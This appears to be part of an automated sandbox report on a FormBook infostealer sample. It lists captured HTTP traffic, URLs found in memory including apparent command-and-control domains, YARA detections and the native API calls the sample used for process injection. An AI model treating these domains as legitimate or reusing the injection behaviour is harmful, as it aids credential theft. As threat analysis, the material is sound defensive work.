70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:26:59 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:27:02 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:27:05 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:27:07 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:28:14 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:28:17 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:28:20 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:28:22 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Source: QgsPQaUVZZ.exe, 00000005.00000002.49197292849.00000000014EB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.windsky.click
Source: QgsPQaUVZZ.exe, 00000005.00000002.49197292849.00000000014EB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.windsky.click/3jkd/
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://analytics.tiktok.com/i18n/pixel/events.js
Source: tzutil.exe, 00000004.00000002.49200063559.0000000004DCC000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000004B6C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://browsehappy.com/
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dq0ib5xlct7tw.cloudfront.net/
Source: UQ63g7r-.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: UQ63g7r-.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://l3filejson4dvd.josyliving.com/favicon.ico
Source: tzutil.exe, 00000004.00000003.44823681661.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: tzutil.exe, 00000004.00000003.44823681661.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: tzutil.exe, 00000004.00000002.49196340129.00000000009D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: tzutil.exe, 00000004.00000003.44823681661.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: tzutil.exe, 00000004.00000002.49196340129.00000000009B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: tzutil.exe, 00000004.00000002.49196340129.00000000009B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: tzutil.exe, 00000004.00000003.44822786907.0000000007A47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
Source: tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://s.yimg.com/wi/ytc.js
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tzutil.exe, 00000004.00000002.49200063559.0000000005282000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000005022000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.cssa.auction/gmd5/?kR8XbB2P=Ekgx1MvUYLrGHUKx8CCe7U4VyzptkZh1uIGTrOYSeAMN1zfbKp4H9sCFOEig
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: tzutil.exe, 00000004.00000002.49201521257.0000000007AD1000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tzutil.exe, 00000004.00000002.49200063559.0000000003C86000.00000004.10000000.00040000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201425464.0000000005F40000.00000004.00000800.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003A26000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: tzutil.exe, 00000004.00000002.49200063559.0000000003E18000.00000004.10000000.00040000.00000000.sdmp, QgsPQaUVZZ.exe, 00000005.00000002.49198967543.0000000003BB8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.5CTbduoXq4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.49197292849.0000000001490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198655128.0000000000E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.49198539173.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647403397.0000000002400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44647224128.0000000001880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.44645344924.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0042C953 NtClose,	2_2_0042C953
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2B90 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_015A2B90
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2A80 NtClose,LdrInitializeThunk,	2_2_015A2A80
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2D10 NtQuerySystemInformation,LdrInitializeThunk,	2_2_015A2D10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A34E0 NtCreateMutant,LdrInitializeThunk,	2_2_015A34E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A4260 NtSetContextThread,	2_2_015A4260
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A4570 NtSuspendThread,	2_2_015A4570
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A29D0 NtWaitForSingleObject,	2_2_015A29D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A29F0 NtReadFile,	2_2_015A29F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2B10 NtAllocateVirtualMemory,	2_2_015A2B10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2B00 NtQueryValueKey,	2_2_015A2B00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2B20 NtQueryInformationProcess,	2_2_015A2B20
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2BC0 NtQueryInformationToken,	2_2_015A2BC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2BE0 NtQueryVirtualMemory,	2_2_015A2BE0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2B80 NtCreateKey,	2_2_015A2B80
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2A10 NtWriteFile,	2_2_015A2A10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2AC0 NtEnumerateValueKey,	2_2_015A2AC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2AA0 NtQueryInformationFile,	2_2_015A2AA0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2D50 NtWriteVirtualMemory,	2_2_015A2D50
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2DC0 NtAdjustPrivilegesToken,	2_2_015A2DC0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2DA0 NtReadVirtualMemory,	2_2_015A2DA0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2C50 NtUnmapViewOfSection,	2_2_015A2C50
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2C10 NtOpenProcess,	2_2_015A2C10
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2C30 NtMapViewOfSection,	2_2_015A2C30
